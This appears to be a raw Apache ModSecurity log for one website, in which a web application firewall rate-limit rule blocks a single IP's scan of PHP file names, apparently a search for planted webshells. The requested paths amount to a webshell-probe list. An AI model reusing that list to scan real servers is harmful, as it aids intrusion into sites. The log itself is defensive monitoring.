[Thu Jan 08 23:25:55.546142 2026] [:error] [pid 15264:tid 15318] [client 74.225.203.54:46313] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nx1.php"] [unique_id "aV_Mg4ov6_kvS0Owh-opyQAAAFM"]
[Thu Jan 08 23:25:56.092397 2026] [:error] [pid 15358:tid 15384] [client 74.225.203.54:46307] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/avtst.php"] [unique_id "aV_MhCoRk9xWJ3toSBKb2gAAAM4"]
[Thu Jan 08 23:25:56.563581 2026] [:error] [pid 15264:tid 15313] [client 74.225.203.54:46277] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/avtst.php"] [unique_id "aV_MhIov6_kvS0Owh-opywAAAE4"]
[Thu Jan 08 23:25:57.026657 2026] [:error] [pid 2484:tid 2506] [client 74.225.203.54:46215] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/avtst.php"] [unique_id "aV_MhTiDlnlaQQK_AEO0TgAAAVI"]
[Thu Jan 08 23:25:57.402887 2026] [:error] [pid 15358:tid 15391] [client 74.225.203.54:46320] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/avtst.php"] [unique_id "aV_MhSoRk9xWJ3toSBKb2wAAANU"]
[Thu Jan 08 23:25:57.767629 2026] [:error] [pid 15358:tid 15386] [client 74.225.203.54:46227] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inde.php"] [unique_id "aV_MhSoRk9xWJ3toSBKb3QAAANA"]
[Thu Jan 08 23:25:58.104388 2026] [:error] [pid 15358:tid 15377] [client 74.225.203.54:46311] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inde.php"] [unique_id "aV_MhioRk9xWJ3toSBKb3gAAAMc"]
[Thu Jan 08 23:25:58.478521 2026] [:error] [pid 2424:tid 2438] [client 74.225.203.54:46251] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inde.php"] [unique_id "aV_MhrTDJR8aofkBk9RMWwAAAQw"]
[Thu Jan 08 23:25:58.917599 2026] [:error] [pid 2424:tid 2448] [client 74.225.203.54:46309] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inde.php"] [unique_id "aV_MhrTDJR8aofkBk9RMXAAAARY"]
[Thu Jan 08 23:25:59.651186 2026] [:error] [pid 2424:tid 2433] [client 74.225.203.54:46276] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classgoto24.php"] [unique_id "aV_Mh7TDJR8aofkBk9RMXgAAAQc"]
[Thu Jan 08 23:26:00.110161 2026] [:error] [pid 15264:tid 15320] [client 74.225.203.54:46265] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classgoto24.php"] [unique_id "aV_MiIov6_kvS0Owh-opzAAAAFU"]
[Thu Jan 08 23:26:00.539130 2026] [:error] [pid 15358:tid 15370] [client 74.225.203.54:46318] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classgoto24.php"] [unique_id "aV_MiCoRk9xWJ3toSBKb4QAAAMA"]
[Thu Jan 08 23:26:00.911956 2026] [:error] [pid 2424:tid 2426] [client 74.225.203.54:46271] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classgoto24.php"] [unique_id "aV_MiLTDJR8aofkBk9RMYAAAAQA"]
[Thu Jan 08 23:26:01.319738 2026] [:error] [pid 2424:tid 2437] [client 74.225.203.54:46255] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lx.php"] [unique_id "aV_MibTDJR8aofkBk9RMYQAAAQs"]
[Thu Jan 08 23:26:01.784190 2026] [:error] [pid 7586:tid 7605] [client 74.225.203.54:30950] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lx.php"] [unique_id "aV_MicJyk37GdXP5TmWGFAAAAc8"]
[Thu Jan 08 23:26:02.154505 2026] [:error] [pid 2424:tid 2435] [client 74.225.203.54:46217] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lx.php"] [unique_id "aV_MirTDJR8aofkBk9RMYgAAAQk"]
[Thu Jan 08 23:26:02.455417 2026] [:error] [pid 2424:tid 2427] [client 74.225.203.54:30919] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lx.php"] [unique_id "aV_MirTDJR8aofkBk9RMZAAAAQE"]
[Thu Jan 08 23:26:02.846354 2026] [:error] [pid 15265:tid 15350] [client 74.225.203.54:46249] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/die.php"] [unique_id "aV_MiqE6VBKhew2LTFRmHAAAAJg"]
[Thu Jan 08 23:26:03.283000 2026] [:error] [pid 15358:tid 15385] [client 74.225.203.54:30999] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/die.php"] [unique_id "aV_MiyoRk9xWJ3toSBKb5AAAAM8"]
[Thu Jan 08 23:26:03.584177 2026] [:error] [pid 2424:tid 2436] [client 74.225.203.54:46257] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/die.php"] [unique_id "aV_Mi7TDJR8aofkBk9RMZwAAAQo"]
[Thu Jan 08 23:26:03.982123 2026] [:error] [pid 2424:tid 2430] [client 74.225.203.54:46242] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/die.php"] [unique_id "aV_Mi7TDJR8aofkBk9RMaQAAAQQ"]
[Thu Jan 08 23:26:04.343888 2026] [:error] [pid 2424:tid 2446] [client 74.225.203.54:46269] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaaa.php"] [unique_id "aV_MjLTDJR8aofkBk9RMawAAARQ"]
[Thu Jan 08 23:26:04.902629 2026] [:error] [pid 15358:tid 15390] [client 74.225.203.54:46221] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaaa.php"] [unique_id "aV_MjCoRk9xWJ3toSBKb5gAAANQ"]
[Thu Jan 08 23:26:05.362190 2026] [:error] [pid 17404:tid 17422] [client 74.225.203.54:46326] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaaa.php"] [unique_id "aV_MjWVd_oH193N6AnXZEAAAAZA"]
[Thu Jan 08 23:26:05.708520 2026] [:error] [pid 15264:tid 15305] [client 74.225.203.54:46224] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaaa.php"] [unique_id "aV_MjYov6_kvS0Owh-opzgAAAEY"]
[Thu Jan 08 23:26:06.046591 2026] [:error] [pid 15358:tid 15392] [client 74.225.203.54:46329] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bbbb.php"] [unique_id "aV_MjioRk9xWJ3toSBKb6AAAANY"]
[Thu Jan 08 23:26:06.412842 2026] [:error] [pid 15265:tid 15333] [client 74.225.203.54:46235] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bbbb.php"] [unique_id "aV_MjqE6VBKhew2LTFRmHQAAAIc"]
[Thu Jan 08 23:26:06.711119 2026] [:error] [pid 15265:tid 15346] [client 74.225.203.54:30989] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bbbb.php"] [unique_id "aV_MjqE6VBKhew2LTFRmHgAAAJQ"]
[Thu Jan 08 23:26:07.175394 2026] [:error] [pid 7586:tid 7588] [client 74.225.203.54:30997] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bbbb.php"] [unique_id "aV_Mj8Jyk37GdXP5TmWGHQAAAcA"]
[Thu Jan 08 23:26:07.455697 2026] [:error] [pid 7586:tid 7596] [client 74.225.203.54:30981] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cccc.php"] [unique_id "aV_Mj8Jyk37GdXP5TmWGHwAAAcg"]
[Thu Jan 08 23:26:07.780213 2026] [:error] [pid 7586:tid 7614] [client 74.225.203.54:31008] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cccc.php"] [unique_id "aV_Mj8Jyk37GdXP5TmWGIAAAAdg"]
[Thu Jan 08 23:26:08.150184 2026] [:error] [pid 2484:tid 2507] [client 74.225.203.54:30984] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cccc.php"] [unique_id "aV_MkDiDlnlaQQK_AEO0WgAAAVM"]
[Thu Jan 08 23:26:08.542844 2026] [:error] [pid 2424:tid 2448] [client 74.225.203.54:46250] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cccc.php"] [unique_id "aV_MkLTDJR8aofkBk9RMbQAAARY"]
[Thu Jan 08 23:26:08.946205 2026] [:error] [pid 15265:tid 15348] [client 74.225.203.54:46297] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aV_MkKE6VBKhew2LTFRmIgAAAJY"]
[Thu Jan 08 23:26:09.467441 2026] [:error] [pid 2424:tid 2444] [client 74.225.203.54:46275] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aV_MkbTDJR8aofkBk9RMbgAAARI"]
[Thu Jan 08 23:26:09.861386 2026] [:error] [pid 15358:tid 15374] [client 74.225.203.54:46284] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aV_MkSoRk9xWJ3toSBKb6QAAAMQ"]
[Thu Jan 08 23:26:10.266711 2026] [:error] [pid 7586:tid 7598] [client 74.225.203.54:46278] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aV_MksJyk37GdXP5TmWGIgAAAco"]
[Thu Jan 08 23:26:10.600230 2026] [:error] [pid 7586:tid 7608] [client 74.225.203.54:46283] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file1.php"] [unique_id "aV_MksJyk37GdXP5TmWGJAAAAdI"]
[Thu Jan 08 23:26:11.028845 2026] [:error] [pid 15265:tid 15332] [client 74.225.203.54:31004] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file1.php"] [unique_id "aV_Mk6E6VBKhew2LTFRmIwAAAIY"]
[Thu Jan 08 23:26:11.416297 2026] [:error] [pid 15358:tid 15384] [client 74.225.203.54:30976] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file1.php"] [unique_id "aV_MkyoRk9xWJ3toSBKb6gAAAM4"]
[Thu Jan 08 23:26:11.865747 2026] [:error] [pid 15265:tid 15340] [client 74.225.203.54:30983] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file1.php"] [unique_id "aV_Mk6E6VBKhew2LTFRmJAAAAI4"]
[Thu Jan 08 23:26:12.260360 2026] [:error] [pid 2484:tid 2494] [client 74.225.203.54:30980] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file2.php"] [unique_id "aV_MlDiDlnlaQQK_AEO0YgAAAUc"]
[Thu Jan 08 23:26:13.424800 2026] [:error] [pid 15265:tid 15326] [client 74.225.203.54:46236] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file2.php"] [unique_id "aV_MlaE6VBKhew2LTFRmJwAAAIA"]
[Thu Jan 08 23:26:13.952967 2026] [:error] [pid 15265:tid 15341] [client 74.225.203.54:46324] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file2.php"] [unique_id "aV_MlaE6VBKhew2LTFRmKAAAAI8"]
[Thu Jan 08 23:26:14.377441 2026] [:error] [pid 15265:tid 15328] [client 74.225.203.54:46303] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file2.php"] [unique_id "aV_MlqE6VBKhew2LTFRmKQAAAII"]
[Thu Jan 08 23:26:14.703141 2026] [:error] [pid 17404:tid 17424] [client 74.225.203.54:30979] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aV_MlmVd_oH193N6AnXZEwAAAZI"]
[Thu Jan 08 23:26:15.047663 2026] [:error] [pid 15358:tid 15386] [client 74.225.203.54:31012] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aV_MlyoRk9xWJ3toSBKb7AAAANA"]
[Thu Jan 08 23:26:15.444103 2026] [:error] [pid 2484:tid 2496] [client 74.225.203.54:46273] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aV_MlziDlnlaQQK_AEO0ZQAAAUk"]
[Thu Jan 08 23:26:15.816962 2026] [:error] [pid 17404:tid 17406] [client 74.225.203.54:46315] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aV_Ml2Vd_oH193N6AnXZFgAAAYA"]
[Thu Jan 08 23:26:16.560316 2026] [:error] [pid 2484:tid 2508] [client 74.225.203.54:46264] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file17.php"] [unique_id "aV_MmDiDlnlaQQK_AEO0ZgAAAVQ"]
[Thu Jan 08 23:26:16.968504 2026] [:error] [pid 2424:tid 2447] [client 74.225.203.54:46291] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file17.php"] [unique_id "aV_MmLTDJR8aofkBk9RMcgAAARU"]
[Thu Jan 08 23:26:17.246684 2026] [:error] [pid 17404:tid 17415] [client 74.225.203.54:46212] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file17.php"] [unique_id "aV_MmWVd_oH193N6AnXZGQAAAYk"]
[Thu Jan 08 23:26:17.686890 2026] [:error] [pid 2484:tid 2503] [client 74.225.203.54:46214] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file17.php"] [unique_id "aV_MmTiDlnlaQQK_AEO0ZwAAAU8"]
[Thu Jan 08 23:26:18.056033 2026] [:error] [pid 17404:tid 17426] [client 74.225.203.54:30996] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file32.php"] [unique_id "aV_MmmVd_oH193N6AnXZHAAAAZQ"]
[Thu Jan 08 23:26:18.339125 2026] [:error] [pid 15264:tid 15322] [client 74.225.203.54:46270] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file32.php"] [unique_id "aV_Mmoov6_kvS0Owh-op1QAAAFc"]
[Thu Jan 08 23:26:18.928335 2026] [:error] [pid 15264:tid 15300] [client 74.225.203.54:46267] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file32.php"] [unique_id "aV_Mmoov6_kvS0Owh-op2AAAAEE"]
